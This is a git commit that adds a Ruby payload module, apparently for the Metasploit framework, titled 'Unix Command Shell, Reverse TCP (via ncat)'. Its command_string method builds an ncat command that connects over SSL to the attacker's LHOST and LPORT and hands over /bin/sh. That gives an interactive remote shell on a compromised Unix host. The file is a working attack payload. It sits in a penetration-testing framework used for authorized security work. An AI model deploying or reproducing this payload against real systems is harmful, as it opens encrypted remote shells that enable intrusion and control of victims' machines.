add reverse ncat ssl

bug/bundler_fix
C_Sto 2017-05-01 06:57:28 +08:00
parent e026a8c663
commit cfa204b8e8
1 changed files with 52 additions and 0 deletions

View File

@ -0,0 +1,52 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP (via ncat)',
'Description' => 'Creates an interactive shell via ncat, utilising ssl mode',
'Author' => 'C_Sto',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'ncat',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
"ncat --ssl #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh "
end
end